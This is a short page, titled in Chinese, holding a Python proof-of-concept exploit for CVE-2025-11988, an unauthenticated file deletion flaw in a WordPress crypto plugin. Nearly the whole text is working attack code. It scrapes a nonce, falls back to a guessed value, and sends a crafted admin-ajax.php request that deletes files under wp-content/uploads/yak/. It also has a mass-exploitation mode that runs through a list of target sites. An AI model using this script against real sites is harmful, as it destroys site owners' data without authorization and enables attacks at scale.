CVE-2025-11988 WordPress Crypto插件未授权文件删除漏洞

#!/usr/bin/env python3 """ CVE-2025-11988 PoC - WordPress Crypto Plugin Unauthorized File Deletion Author: Security Researcher Reference: https://nvd.nist.gov/vuln/detail/CVE-2025-11988 """ import requests import re import argparse from urllib.parse import urljoin def get_wordpress_nonce(target_url): """ Extract public nonce from WordPress page source """ try: response = requests.get(target_url, timeout=10) # Try to find nonce in common locations nonce_patterns = [ r'nonce[:\s]+["\']([a-zA-Z0-9]+)["\']', r'_wpnonce[:\s]+["\']([a-zA-Z0-9]+)["\']', r'crypto.*nonce["\':\s]+([a-zA-Z0-9]+)', ] for pattern in nonce_patterns: match = re.search(pattern, response.text, re.IGNORECASE) if match: return match.group(1) return None except requests.RequestException: return None def exploit_crypto_plugin(target_url, file_to_delete): """ Exploit the unauthenticated AJAX endpoint to delete JSON files @param target_url: Base URL of the WordPress site @param file_to_delete: File path relative to wp-content/uploads/yak/ """ # Get nonce from the site nonce = get_wordpress_nonce(target_url) if not nonce: print("[-] Failed to obtain nonce, attempting with common nonce value...") nonce = '1' # Fallback - some implementations accept this # Construct AJAX endpoint ajax_url = urljoin(target_url, 'wp-admin/admin-ajax.php') # Prepare the exploit payload data = { 'action': 'crypto_connect_ajax_process', 'method': 'crypto_delete_json', 'nonce': nonce, 'file': file_to_delete } print(f"[*] Target: {target_url}") print(f"[*] AJAX Endpoint: {ajax_url}") print(f"[*] Using nonce: {nonce}") print(f"[*] Attempting to delete: {file_to_delete}") try: response = requests.post(ajax_url, data=data, timeout=10) print(f"[*] Response Status: {response.status_code}") print(f"[*] Response Body: {response.text[:500]}") if 'success' in response.text.lower() or response.status_code == 200: print("[+] File deletion request sent successfully") return True else: print("[-] Exploitation may have failed") return False except requests.RequestException as e: print(f"[-] Request failed: {e}") return False def mass_exploit(target_urls_file, file_pattern='*_pending.json'): """ Mass exploitation against multiple targets """ try: with open(target_urls_file, 'r') as f: urls = [line.strip() for line in f if line.strip()] for url in urls: print(f"\n{'='*60}") exploit_crypto_plugin(url, file_pattern) except FileNotFoundError: print(f"[-] File not found: {target_urls_file}") if __name__ == '__main__': parser = argparse.ArgumentParser(description='CVE-2025-11988 Exploitation Tool') parser.add_argument('-u', '--url', help='Target WordPress URL') parser.add_argument('-f', '--file', default='transaction_pending.json', help='File to delete (relative to wp-content/uploads/yak/)') parser.add_argument('-m', '--mass', help='File containing list of target URLs') args = parser.parse_args() if args.mass: mass_exploit(args.mass) elif args.url: exploit_crypto_plugin(args.url, args.file) else: parser.print_help()